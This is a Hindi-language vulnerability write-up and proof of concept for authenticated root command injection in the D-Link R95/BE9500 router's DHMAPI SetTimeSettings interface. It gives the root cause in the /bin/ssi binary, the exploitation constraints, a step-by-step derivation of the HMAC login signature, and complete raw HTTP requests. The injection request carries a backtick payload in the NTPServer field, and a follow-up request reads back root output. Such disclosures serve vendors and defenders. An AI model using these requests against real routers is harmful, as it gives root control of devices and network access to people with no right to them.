
D-Link R95/BE9500 DHMAPI SetTimeSettings के लिए प्रमाणित कमांड इंजेक्शन PoC, जो NTPServer बैकटिक इंजेक्शन के माध्यम से root RCE प्राप्त करता है, पूर्ण exploit स्क्रिप्ट के साथ।
D-Link R95 BE9500 Wi-Fi 7 स्मार्ट राउटर (फर्मवेयर संस्करण BE9500_1.00.16) में DHMAPI (SOAP over HTTPS) इंटरफ़ेस में SetTimeSettings अनुरोधों को संसाधित करते समय एक कमांड इंजेक्शन भेद्यता मौजूद है। उपयोगकर्ता-नियंत्रित <NTPServer> फ़ील्ड को कॉन्फ़िगरेशन डेटाबेस में shell मेटाकैरेक्टर के किसी भी सैनिटाइज़ेशन या सत्यापन के बिना संग्रहीत किया जाता है। इसके बाद, जब कॉन्फ़िगरेशन को UCI (ntpclient.@ntpserver[0].hostname) में सिंक्रनाइज़ किया जाता है, तो भेद्य बैकएंड सेवा एक system()-जैसे कॉल के माध्यम से डबल कोट्स में संलग्न एक shell कमांड का निर्माण और निष्पादन करती है। <NTPServer> मान में बैकटिक्स (```) इंजेक्ट करके, एक हमलावर कमांड प्रतिस्थापन प्राप्त कर सकता है — shell संयोजित कमांड को निष्पादित करने से पहले इंजेक्ट की गई सामग्री का मूल्यांकन करता है, जिससे root (uid=0) विशेषाधिकारों के साथ मनमाना कमांड निष्पादन संभव हो जाता है।
इस हमले के लिए प्रमाणित पहुँच (व्यवस्थापक खाते Admin के साथ परीक्षण किया गया) के माध्यम से प्राप्त एक वैध वेब प्रबंधन सत्र (sid) की आवश्यकता होती है। यह भेद्यता डिवाइस के कमज़ोर डिफ़ॉल्ट क्रेडेंशियल्स या संभावित प्रमाणीकरण बायपास समस्याओं द्वारा और अधिक बढ़ जाती है, जिससे वास्तविक दुनिया का हमला सतह काफी बढ़ जाता है।
एक प्रमाणित हमलावर root विशेषाधिकारों के साथ मनमाना कमांड निष्पादित कर सकता है, जिससे डिवाइस का पूर्ण समझौता हो जाता है — जिसमें संवेदनशील फ़ाइलें पढ़ना (जैसे, /etc/rg_config/admin सिफरटेक्स्ट, पूर्ण कॉन्फ़िगरेशन बैकअप डंप करना), स्थायी बैकडोर स्थापित करना, रिवर्स शेल स्थापित करना, और पार्श्व गति हमलों के लिए आंतरिक नेटवर्क में प्रवेश करना शामिल है।
भेद्यता वेब प्रबंधन बैकएंड बाइनरी /bin/ssi (जो root के रूप में चलती है) में निहित है, जो DHMAPI SOAP इंटरफ़ेस को लागू करती है।
टेंट स्रोत — SetTimeSettings हैंडलर (ssi में ऑफ़सेट 0x6bd84 पर फ़ंक्शन, फर्मवेयर 1.01B06):
<NTPServer> फ़ील्ड को स्टैक बफ़र में निकालता है, लंबाई 0x3f (63 बाइट्स) तक सीमित — यह बफ़र-आकार की सीमा है, नहीं कि सुरक्षा जाँच।time.value.NTPServer में यथावत संग्रहीत करता है — किसी भी बिंदु पर shell मेटाकैरेक्टर की कोई फ़िल्टरिंग या एस्केपिंग नहीं की जाती है।टेंट सिंक — UCI में कॉन्फ़िगरेशन सिंक्रनाइज़ेशन। ssi कॉन्फ़िगरेशन मानों को shell कमांड स्ट्रिंग्स में संयोजित करके सिंक्रनाइज़ करता है जिन्हें system()-जैसे कॉल के माध्यम से निष्पादित किया जाता है। बाइनरी में पाए गए एम्बेडेड फ़ॉर्मेट स्ट्रिंग्स में शामिल हैं:
uci set %s="%s" > /dev/null
चूँकि मान डबल कोट्स में लिपटा होता है, shell संयोजित कमांड चलाने से पहले मान के अंदर बैकटिक्स (`) / $() पर कमांड प्रतिस्थापन करता है। चूँकि ssi root के रूप में चलता है, इंजेक्ट किया गया कमांड root विशेषाधिकारों के साथ निष्पादित होता है।
समय संबंधी साक्ष्य पुष्टि करते हैं कि मूल्यांकन अनुरोध-प्रबंधन पथ के भीतर समकालिक रूप से होता है: `sleep 10` इंजेक्ट करने से HTTP प्रतिक्रिया ~10 सेकंड तक विलंबित हो जाती है। ज़हरीला मान इसके अतिरिक्त UCI (ntpclient.@ntpserver[0].hostname) में बना रहता है और बाद में /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME) द्वारा बिना कोट के उपभोग किया जाता है, जो एक द्वितीयक हार्डनिंग अंतराल है।
शोषण बाधाएँ (सत्यापित):
| बाधा | सत्यापित परिणाम |
|---|---|
| फ़ील्ड लंबाई | ≤ 63 बाइट्स स्वीकृत; 60 बाइट्स ठीक, 80 बाइट्स अस्वीकृत (HTTP 400) |
& वर्ण | उपस्थित नहीं होना चाहिए (संयोजित कमांड लाइन को तोड़ता है) |
| इंजेक्शन सिंटैक्स | बैकटिक्स `cmd` सत्यापित; $(cmd) समान रूप से काम करने की अपेक्षा |
| निष्पादन संदर्भ | uid=0(root) gid=0(root) |
| आउटपुट चैनल | कोई सीधा echo नहीं; वेब रूट पर रीडायरेक्ट (> /www/<file>) और HTTP GET के माध्यम से पुनः प्राप्त करें |
सभी DHMAPI अनुरोधों में निम्नलिखित होना चाहिए:
Cookie: uid=<session cookie> (लॉगिन से)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction हेडर, साथ ही User-Agent और Referer (UA/Referer अनुपस्थित होने पर HTTP 400/500 मिलता है)ts एक मिलीसेकंड टाइमस्टैम्प है; डिवाइस ताज़गी को मान्य नहीं करता, इसलिए एक निश्चित मान पुनः प्रयोग करने योग्य हैprivkey व्युत्पत्ति:
Login / Action=request (स्थिर कुंजी स्ट्रिंग withoutloginkey के साथ हस्ताक्षरित) Challenge, Cookie, PublicKey, SaltHash लौटाता हैe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (या जब SaltHash अनुपस्थित हो तो सादा पासवर्ड)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login <LoginResult>success</LoginResult> लौटाता है; बाद के अनुरोध privkey के साथ हस्ताक्षरित Cookie: uid=<step-1 Cookie> का उपयोग करते हैंPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
अपेक्षित: <LoginResult>success</LoginResult>।

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
देखा गया प्रतिक्रिया निकाय:
uid=0(root) gid=0(root)
